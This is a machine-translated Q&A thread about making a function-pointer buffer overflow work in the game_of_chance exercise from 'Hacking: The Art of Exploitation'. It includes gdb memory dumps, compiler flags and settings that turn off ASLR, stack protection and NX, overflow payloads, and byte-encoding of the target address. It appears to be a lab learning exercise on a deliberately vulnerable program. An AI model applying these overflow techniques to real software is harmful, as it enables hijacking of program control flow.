无法让缓冲区溢出函数指针

逆向工程 linux C 缓冲区溢出
2021-06-13 09:44:50

我无法让这个缓冲区溢出漏洞在我的生活中发挥作用。源代码在这里它来自这本书, Hacking the Art of Exploitation。这里的主题是以下结构:

struct user {
   int uid;
   int credits;
   int highscore;
   char name[100];
   int (*current_game) ();
};

这个想法是溢出 name[100] 使得在 100 个字母 A之后提供的地址覆盖名为 current_game 的函数指针的地址

但是,请参阅下面的 gdb 读数:

[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��048e2c]
56        printf("[You have %u credits] ->  ", player.credits);
(gdb) x/40x player.name
0x804c08c <player+12>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c09c <player+28>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c0ac <player+44>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c0bc <player+60>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c0cc <player+76>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c0dc <player+92>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c0ec <player+108>:   0x41414141  0x080490bb  0x65383430  0x00006332
0x804c0fc:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c10c:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c11c:  0x00000000  0x00000000  0x00000000  0x00000000
(gdb) x/5x player.current_game
0x80490bb <pick_a_number>:    0x83e58955  0xec8318ec  0x9d2e680c  0xa2e80804
0x80490cb <pick_a_number+16>: 0x83fffff4
(gdb) print 6*16
$2 = 96

我已将另一个函数的地址放入 player.name 中,如该[Name: A*100 ...行所示。在此下方,您可以看到内存布局,内存中确实有 100 个 A。然而,在最后一个 A 之后,我们看到下一个内存点被0x080490bb并且还没有被覆盖,即使我们看到 player.name 缓冲区确实包含之前的溢出。之后我显示了 player.current_game 的打印输出,以显示它确实在地址0x80490bb,这就是我们在最后一个 0x41414141 之后直接在转储中看到的地址我在这里很困惑。

我试过的:

  1. 通过设置/proc/sys/kernel/randomize_va_space为 0在我的 Fedora 25 上禁用 ASLR
  2. 在 gcc 中启用可执行堆栈。
  3. 在 gcc 中关闭堆栈保护。
  4. 关闭 PIE
  5. 您可以使用此命令确认我用于制作二进制文件: gcc -z execstack game_of_chance.c -fno-stack-protector -no-pie -m32 -o goc
  6. 我试过将地址写为 \x2c\x8e\x04\08 并且只是直接的 0x08048e2c,两者都不起作用。这是我试图运行的函数的地址。
  7. 观察到 paddr 和 vaddr 在程序的多次执行中是相同的。
  8. 如您所见,在 gdb 和 Radare2 中都进行了调试。您可以在下面看到我的 rabin2 打印输出:

    havecode true pic false canary false nx false crypto false va true intrp /lib/ld-linux.so.2 bintype elf class ELF32 lang c arch x86 bits 32 machine Intel 80386 os linux minopsz 1 maxopsz 16 pcalign 0 subsys linux endian little stripped false static false linenum true lsyms true relocs true rpath NONE binsz 20471

谢谢。

更新

我能够成功地使用字符(例如“A”或“B”)导致分段错误,但是,当我执行 A*100 后跟我试图跳转执行的 08048e2c 内存地址时,会发生段错误,但是 player.current_game 函数指针地址(如上图所示就在 player.name 缓冲区之后)很奇怪,[DEBUG] current_game pointer @ 0x34303830而不是地址 08048e2c,这会导致分段错误,因为它无法执行 0x34303830。此外,我在 0x804c0ec 上放置了读/写监视,以查看是否可以找到任何正在写入的内容,但没有成功找到其他任何内容。

1个回答

对不起,但这当然对我有用。让我们一步一步来,好吗?

1.设置

我用你的命令行来编译程序:

gcc  -z execstack game_of_chance.c -fno-stack-protector -no-pie -m32 -o goc

我做了一个小小的改变,我改变了

#define DATAFILE "/var/chance.data" // File to store user data

#define DATAFILE "chance.data" // File to store user data

为了安心。

2. 玩游戏!

失去 :(

正如你所看到的,我实际上很不擅长这个。我们唯一需要记住的是,我们在游戏菜单中选择了“1”。

3.利用它!

让我们首先更改我们的名称以覆盖指针:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB

段错误

发生了一些事!不应该在最后只使用 4x BBBB 吗?不!但为什么?我最好的猜测:堆栈对齐。让我们看看这个。

4. 玩弄

在 game_of_choice.c 中我改变了

char name[100];

char name[128];

并尝试了 128 次“A”:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

有用。所以看起来你的问题是堆栈对齐

-mpreferred-stack-boundary 的标准值似乎是 4,这意味着 gcc 正在尝试创建 16 字节对齐的堆栈边界。

5. ASCII 乐趣

该程序正在从命令行读取字符串。我们想要的是将0x08048e2c这个字符串中的地址以一种也可以跳转的方式传递问题是,如果我们只是写08048e2c,我们实际上是将0x30383034386532630变成0x308->0x38等每个数字都是一个字节数)作为值传递给程序。所以我们需要传递构成地址的实际字节。

当我们传入\x2c\x8e\x04\x08字符串时,我们实际上是通过0x5c7832635c7838655c7830345c3038,因为它仍然被解释为一个字符序列,这些字符序列被一个一个地转换为字节值。

当我们查看任何 ASCII 表时,我们注意到\x08转换为特殊的退格字符。我们当然不能将其包含在文本中。

使用 perl -e 或 echo -e,我们让相应的程序知道它在收到字符串时应该注意转义序列。所以他们实际上输出了“真实”的字节值。

echo -e '\x2c\x8e\x04\08'